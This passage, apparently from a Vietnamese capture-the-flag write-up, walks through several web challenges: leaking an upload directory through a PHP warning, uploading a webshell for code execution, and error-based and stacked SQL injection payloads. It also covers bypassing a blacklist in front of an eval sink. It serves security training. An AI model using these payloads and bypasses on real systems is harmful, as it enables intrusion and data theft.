UPLOAD_BASE_DIR/<random_8_hex>/
```
Tại dòng 77, file được lưu bằng:
```php
move_uploaded_file($file['tmp_name'], $targetPath);
```
Sau đó trả về đường dẫn:
```php
$userFolder . '/' . $fileName
```
Người dùng bình thường sẽ truy cập qua:
```php
http://<host>/<userFolder>/<fileName>
```
Trong đó:
- `userFolder` là chuỗi hex ngẫu nhiên 8 ký tự.
- `fileName` do attacker kiểm soát
Điểm đặc biệt ở đây là file được lưu tại:
```php
UPLOAD_BASE_DIR/<random_8_hex>/<file_name>
```
nhưng lại truy cập qua:
```php
<userFolder>/<file_name>
```
Quan sát cấu hình Apache:

Nếu URL khớp regex:
```
[a-f0-9]{8}
```
(tương ứng với `userFolder`)
thì request sẽ được forward sang Python server:

Ngược lại, khi attacker truy cập trực tiếp vào `UPLOAD_BASE_DIR`:
- Request không đi qua Python server
- Apache xử lý request trực tiếp
- Nằm trong webroot
- Không có .htaccess hoặc cấu hình Apache để: thực thi .php, hoặc vô hiệu hóa PHP engine.
-> Bất kỳ file .php nào trong thư mục này sẽ được PHP module (mod_php) xử lý và thực thi.
-> Nếu như ta biết được `UPLOAD_BASE_DIR` ta có thể upload shell và truy cập thẳng không qua python server -> RCE.
**Leak** `UPLOAD_BASE_DIR`
Tại thời điểm upload, tên file do người dùng cung cấp được xử lý bằng:
```php
$fileName = basename($file['name']);
```
Tại đây, nếu filename mang giá trị bất thường (ví dụ ..), biến $targetPath được xây dựng như sau:
```
UPLOAD_BASE_DIR/<userFolder>/..
```
Đường dẫn này sau khi được resolve sẽ trỏ tới thư mục cha của `<userFolder>`, tức chính là `UPLOAD_BASE_DIR`.
Tại bước lưu file, server gọi:
```php!
move_uploaded_file($file['tmp_name'], $targetPath);
```
Tuy nhiên, move_uploaded_file() chỉ cho phép ghi file vào một đường dẫn file hợp lệ, không cho phép ghi trực tiếp vào directory. Do đó, lời gọi này sẽ thất bại và PHP sinh ra warning.

Thêm debug trên localhost để nhận dạng rõ hơn:

Test trên server, ta thành công lấy được `UPLOAD_BASE_DIR`:

Giờ chỉ cần upload shell, sau đó truy cập trực tiếp qua `UPLOAD_BASE_DIR` ta có thể RCE thành công:
- Upload shell:

- Tìm đường tới file chứa flag:

- Thành công lấy flag:

#### Cách leakFolder2
Set upload folder thành `../` qua SQLi:
Payload:
```sql
1) b ; update users set upload_folder='../' where username='son' ; SELECT COUNT(*) as count FROM (SELECT * FROM users ORDER BY
```

Check trong db ta thấy upload folder đã sửa thành công:

Do quyền đã set không cho phép ghi ngoài thư mục upload, nên khi upload sẽ có warning permisson denied:

## Cake Of Piece Revenge

Phiên bản cải tiến của Cake OF Piece Revenge:
Sau khi so sánh code của 2 phiên bản, mình thấy có điểm khác biệt duy nhất:

Lúc này blacklist tại endpoint search.php dính sqli filter thêm `;` và `join`.
Không ảnh hưởng gì với payload mình dùng để khai thác secret ở bài trên cả.
Ta tiến hành khai thác tương tự như trên.
#### Exploit:
1. Lấy secret từ database:
- Payload:
```
1) b, (select EXTRACTVALUE(1, CONCAT(0x5c, (SELECT substr(secret_value,1,25) from secret)))
```
Trích xuất `secret` từ vị trí 1->30:

Trích xuất `secret` từ vị trí 30-60:

Trích xuất `secret` từ vị trí 60-90:

Tổng hợp lại ta được secret:
```
Xa_H0i_n4y_l4m_g1..._c0_c4uyen_dung_v4_s4i+vovdovf49994324019
```
2. Thực hiện nâng role lên admin:

3. Leak Upload_Base:

4. Upload shell:

5. Tìm đường dẫn tới file chứa flag:

6. Thành công lấy flag:

#### Cách 2: Leak Folder qua python 3.11.3 issues
Source: https://github.com/python/cpython/issues/104049

## Secure Store
Api `/api/check-voucher` lấy tham số `code` từ url, sau đó đưa vào hàm `checkVoucher`:

Tại dòng số 6, tham số `code` được truyền trực tiếp vào query, dẫn đến SQLi.
Trước khi rơi vào query, nó đi qua một hàm `.length`. Tuy nhiên ta có thể vượt qua bằng cách truyền tham số code như 1 mảng:

Flag được lưu tại table voucher với `discount=100`:

Lầy flag:

## Secure Share
Ta có sink tại `index.php`:
```php
@eval ('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
```
Dữ liệu attack kiểm soát được lúc này là tham số `qr`.
Để vào được sink tham số này sẽ phải đi qua:
- Đầu tiên, nó sẽ đi qua function `parse_qr_tags`, tại đây, nếu muốn đi vào sink ở bước sau thì tham số `qr` sẽ bị `urlencode`
```php
$html = '<img src="?genqr=' . urlencode($qr_url) . '" style="border:1px solid #0f0; padding:5px;">';
```
- Tiếp theo đi qua function `parse_logic_gates`:
- Hàm này sẽ lấy lấy pattern dạng: `$pattern = '/\{sys:gate\(([^}^\$]+)\)\}([\s\S]*?)\{\/sys:gate\}/';`
Tương đương với: `{sys:gate(condition)}...{/sys:gate}` và nó sẽ lấy ra `group1` tức là phần `condition` để đưa vào `sink`
Một điểm chú ý là `([^}^\$]+)` -> condition này sẽ không được chứa `}` và `$`
- Trước khi vào sink, tham số này sẽ đi vào hàm `security_check`:

- Hàm này chỉ cho phép 2 function nếu tồn tại trong php qua `$white_fun = array('date', 'sys_pref_region')`
- Ngoài ra nó chặn rất nhiều những hàm nguy hiểm như system, exec, ... .
Tuy nhiên ta có thể tận dụng luôn hàm `sys_pref_region` để bypass:

Giá trị trả về của hàm này ta có thể kiểm soát qua tham số `region`, hoặc `cookie` hay header `HTTP_CF_IPCOUNTRY`
Như vậy ta có thể tận dùng giá trị của hàm này để gọi tới các hàm nguy hiểm vượt qua lớp kiểm tra
Flag được lưu tại `/flag.txt` nhưng ta không có quyền đọc trực tiếp mà sẽ đọc qua `/readflag`:

File `/readflag` được biên dịch từ `readflag.c` với nội dung:

Tiến hành craft payload và đọc flag:
Hàm `security_check`: có chặn `)(` -> thêm `/**/` để bypass
